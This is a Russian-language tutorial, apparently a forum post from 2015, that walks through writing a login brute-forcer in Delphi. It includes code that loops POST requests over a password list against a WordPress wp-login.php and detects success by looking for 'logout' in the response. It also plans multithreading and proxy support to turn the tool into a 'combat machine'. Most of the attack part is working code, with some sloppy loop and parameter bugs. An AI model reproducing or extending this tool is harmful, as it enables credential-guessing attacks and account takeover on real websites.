Пишем Брут. Часть 1

Выражаю благодарность XaVis'у за разъяснение многих вещей и Gtix'у за помощь в организации тестовой площадки для запросов. Спасибо вам, ребята :)
__________
"А шо такое брут?"
"А напиши мне брут"
Вопросов подобного типа много. Сегодня рассмотрю что такое брут, как он работает, и даже написать его попробую. Поехали!

Brute или Брут - это такая штука, которая методами изнасилования запросов??? к сайту подбирает к нему рабочую комбинацию вида login/password. Грубо говоря используя некие обращения к сайту, мы перебираем много-много комбинаций логинов и паролей, и останавливаемся лишь тогда, когда находим нужную.

Понятие запросов. Что такое и как работает.
P.S.К_заголовку. - если ты знаешь что такое запросы - то всю теорию что ниже - можешь не читать. Переходи к следующей главе.

Что за такие обращения? Как было сказано выше - запросы. Основных вида запроса существует 2: GET запрос и POST запрос.
GET трогать не будем, но что это и общую концепцию работы покажу, дабы понять вообще что такое запрос.
GET-запрос - запрос использующий html-заголовок. Например:
Есть у нас сайт? Ну допустим да. Там есть страница авторизации? Ну почему бы и нет:



Давайте авторизируемся на ней:
Вводим логин - user и пароль 12345. Нажимаем кнопку Submit. Вошли? А теперь посмотрим на строку браузера:



Строка браузера - это грубо говоря и есть html - заголовок. Мы только что ввели нужную комбинацию, вошли, а строка изменилась. Изменилась она потому, что при GET-запросе введённые параметры (логин, пароль, нажатие кнопки submit) отображаются в строке браузера (ну логично же, ведь строка браузера - это html заголовок). Параметры которые мы передали: первый, он обведён красным - это логин. Второй, он обведён зелёным - это пароль. И третий, он обведён синим - это кнопка submit. Теперь выйдете, и повторите все те же действия, только уже непосредственно работая с заголовком.
Вот и суть GET-запроса.
POST - запрос так же передаёт сайту какие-либо параметры, но он не работает с html заголовками, он работает с html-формами, передавая параметры им. Всё очень похоже, есть лишь некоторые отличия. Мы тут рассматриваем что такое брут а не что такое запросы, так что с POST'ами разберёшься сам: туц и туц
Понятие запросов. Что такое и как работает.

Передача запроса средствами Delphi и первый brute
В Delphi, как и во многих языках (а это язык, а не среда для OP) есть специальные средства для передачи запросов. К таким средствам относится компонент IdHTTP, находится который на вкладке Indy Clients. Создадим форму, кинем на неё 2 edit'a (txtlogin и txtpath), пару меток, 2 button (button1 и brute) , компонент IdHTTP, 1 memo и диалог открытия файла:



Сначала обработаем загрузку файла. На событие кнопки onclick пишем:

var
  Op: TOpenDialog;    // Создаём переменную класса TOpenDialog

procedure TBrute.Button1Click(Sender: TObject);
begin
Op:= TOpenDialog.Create(OpenDialog1);   //Инициализируем переменную
Op:= OpenDialog1;    //Привязываем переменную к определённом компоненту
if not Op.Execute then exit; // Если диалог не вызван, то выходим
txtpath.Text:= Op.FileName; // в текстовое поле txtpath ложится путь до открытого файла
end;


Теперь научимся передавать запрос типа POST.
Все параметры запроса мы будем ложить в массив строк, а если понятней то в в переменную типа TStringList. Код для события onclick кнопки Brute!:

procedure TBrute.BruteClick(Sender: TObject);

var 
PassList: TStringList; //Создаём переменную типа TStringList (массив строк)
Param: TStringList; //Создаём переменную типа TStringList (массив строк)
i: integer;  //Переменная цикла

begin
PassList:= TStringList.Create; //Инициализируем переменную массива строк для паролей
PassList.LoadFromFile(Op.FileName); //Загружаем в массив строк наш открытый ранее файл с паролями
Param:= TStringList.Create; //Инициализируем массив строк для параметров

for i := 0 to PassList.Count-1 do // цикл с 0-ля до количества строк в массиве паролей (метод .Count)

  begin
    Param.Add('pass='+PassList.Strings[i]); //передаём первый параметр массиву Param. В качестве параметра выступает i-товая строка из массива паролей (PassList.Strings[i])
    Param.Add('login='+txtLogin.Text); //Передаём второй параметр - это статичный логин, введённый в текстовое поле TxtLogin
    Param.Add('любое имя параметра = имя'); //передаём третий параметр (чаще всего параметр авторизации)
    idHTTP1.Post('http://мойсайт.ру/', Param);  //Передаём POST запрос с помощью метода .Post. В качестве первого параметра идёт адрес сайта куда посылается запрос, в качестве второго все параметры (в нашем случае они лежат в массиве строк Param).
  end;

end;


Если это для тебя и выглядит страшно - то только по-началу. Разберись в коде, поэкспериментируй, и всё будет понятно.
Так, теперь собственно подставим нужные параметры, нужный сайт, сделаем небольшую проверку, составим список паролей и будем с радостью брутить.
Для брута я запустил Denwer, залил wordpress как движок и начал его исследовать.
В чём собственно говоря заключалось исследование? В том, что бы отследить какие параметры требует wordpress для авторизации, на какой странице она происходит и т.д.
Для этого качаем любой сниффер, лично я буду использовать HttpAnalyzer. Собственно авторизация пользователя в Wordpresse происходит на странице http://test1.ru/wp-login.php
Значит этой странице и передаём параметры. Теперь узнаем какие параметры. Для этого переходим на страницу http://test1.ru/wp-login.php, вводим рабочие login и пароль, включаем сниффер:



, нажимаем "Войти":



выключаем сниффер. Смотри что вышло:



Видим кучу запросов, большинство GET, но есть и POST. Проверяем:



Собственно вот вам и параметры. Логин, пароль, и "Войти". Подставляем в уже написанный код брута (на кнопку Brute, если кто не помнит):

procedure TBrute.BruteClick(Sender: TObject);

var
Param: TStringList;
Result: TStringList;
i: integer;
begin
Param:= TStringList.Create;
Result:= TStringList.Create;
for i := 1 to PassList.Count do
begin
Param.Add('pwd='+PassList.Strings[i]);
Param.Add('log='+txtlogin.Text);
idHTTP1.Post('http://test1.ru/wp-login.php', Param);
end;
end;


Так. Вроде всё готово, можно запускать. Всё конечно, кроме того, что мы не знаем как отследить, вошли мы или нет. Это сделать достаточно легко, надо передачу POST-запроса так же записать в массив строк. Создаем ещё 1-у переменную:

Result: TStringList;


И запишем в этот массив весь процесс передачи параметров, перед этим инициализировав переменную:

Result:= TStringList.Create;
...

Result.Text:= idHTTP1.Post('http://test1.ru/wp-login', Param);
if pos('logout',Result.Text)<>0 then Memo1.Lines.Add('Вход осуществлён! Рабочая пара - логин:'+txtLogin.Text+' пароль : '+PassList.Strings[i]) else
Memo1.Lines.Add('НЕ Рабочая пара - логин:' + txtLogin.Text+' пароль : '+PassList.Strings[i]);


Дело в том, что при удачном входе у нас появится значение LOGOUT, по нему как раз и можно проверить, вошли или нет. Теперь всё готово.

Составляем список паролей и запускаем brute:



Ну? Все довольны? Надеюсь что да, лично я получил моральное удовлетворение. А что бы получить его ещё больше, надо брут доработать. Например, да что там например, обязательно, прикрутить многопоточность. Так же желательно сделать брут на разные виды словарей (logins:passwords, 1 login: passwords, 1 password: logins) и так далее. Можно (я бы сказал нужно) поддержку Proxy запилить.

Передача запроса средствами Delphi и первый brute

На этом моё терпение по написанию статьи закончено. Будут ещё 2 и 3-я часть, где покажу как из этого полу-рабочего брута сделать нормальную боевую машину. Всем спасибо.
Теги:
много, запрос, сайту, обращения, такое, логинов, останавливаемся, тогда, комбинаций, паролей, некие, password, login, Грубо, говоря, когда, используя, пробираем, находим, будем
Добавлено: 24 Февраля 2015 20:59:32 Добавил: Андрей Ковальчук Нравится 0
Добавить
Комментарии:
Нету комментариев для вывода...